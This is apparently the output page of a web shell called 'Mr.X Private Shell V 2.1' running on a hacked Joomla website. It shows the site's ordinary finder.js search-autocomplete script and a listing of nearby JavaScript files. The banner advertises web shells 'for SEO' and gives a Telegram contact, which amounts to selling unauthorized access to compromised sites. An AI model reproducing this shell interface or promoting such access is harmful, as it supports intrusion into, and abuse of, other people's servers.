__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
/**
* @copyright (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
((Awesomplete, Joomla, window, document) => {
if (!Joomla) {
throw new Error('core.js was not properly initialised');
}
// Handle the autocomplete
const onInputChange = ({
target
}) => {
if (target.value.length > 1) {
target.awesomplete.list = [];
Joomla.request({
url: `${Joomla.getOptions('finder-search').url}&q=${target.value}`,
promise: true
}).then(xhr => {
let response;
try {
response = JSON.parse(xhr.responseText);
} catch (e) {
// Something went wrong, but we are not going to bother the enduser with this
console.error(e);
return;
}
if (Object.prototype.toString.call(response.suggestions) === '[object Array]') {
target.awesomplete.list = response.suggestions;
}
}).catch(xhr => {
// Something went wrong, but we are not going to bother the enduser with this
console.error(xhr);
});
}
};
// Handle the submit
const onSubmit = event => {
event.stopPropagation();
const advanced = event.target.querySelector('.js-finder-advanced');
// Disable select boxes with no value selected.
if (advanced) {
const fields = [].slice.call(advanced.querySelectorAll('select'));
fields.forEach(field => {
if (!field.value) {
field.setAttribute('disabled', 'disabled');
}
});
}
};
// Submits the form programmatically
const submitForm = event => {
const form = event.target.closest('form');
if (form) {
form.submit();
}
};
// The boot sequence
const onBoot = () => {
document.querySelectorAll('.js-finder-search-query').forEach(searchword => {
// Handle the auto suggestion
if (Joomla.getOptions('finder-search')) {
searchword.awesomplete = new Awesomplete(searchword, {
listLabel: Joomla.Text._('COM_FINDER_SEARCH_FORM_LIST_LABEL')
});
// If the current value is empty, set the previous value.
searchword.addEventListener('input', onInputChange);
const advanced = searchword.closest('form').querySelector('.js-finder-advanced');
// Do not submit the form on suggestion selection, in case of advanced form.
if (!advanced) {
searchword.addEventListener('awesomplete-selectcomplete', submitForm);
}
}
});
document.querySelectorAll('.js-finder-searchform').forEach(form => form.addEventListener('submit', onSubmit));
// Cleanup
document.removeEventListener('DOMContentLoaded', onBoot);
};
document.addEventListener('DOMContentLoaded', onBoot);
})(window.Awesomplete, window.Joomla, window, document);
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| debug.js | File | 1.77 KB | 0664 |
|
| debug.min.js | File | 1.05 KB | 0664 |
|
| debug.min.js.gz | File | 662 B | 0664 |
|
| filters.js | File | 655 B | 0664 |
|
| filters.min.js | File | 442 B | 0664 |
|
| filters.min.js.gz | File | 330 B | 0664 |
|
| finder-edit.js | File | 1.76 KB | 0664 |
|
| finder-edit.min.js | File | 1.19 KB | 0664 |
|
| finder-edit.min.js.gz | File | 563 B | 0664 |
|
| finder.js | File | 2.81 KB | 0664 |
|
| finder.min.js | File | 1.35 KB | 0664 |
|
| finder.min.js.gz | File | 746 B | 0664 |
|
| indexer.js | File | 6.57 KB | 0664 |
|
| indexer.min.js | File | 3.25 KB | 0664 |
|
| indexer.min.js.gz | File | 1.4 KB | 0664 |
|
| maps.js | File | 567 B | 0664 |
|
| maps.min.js | File | 382 B | 0664 |
|
| maps.min.js.gz | File | 309 B | 0664 |
|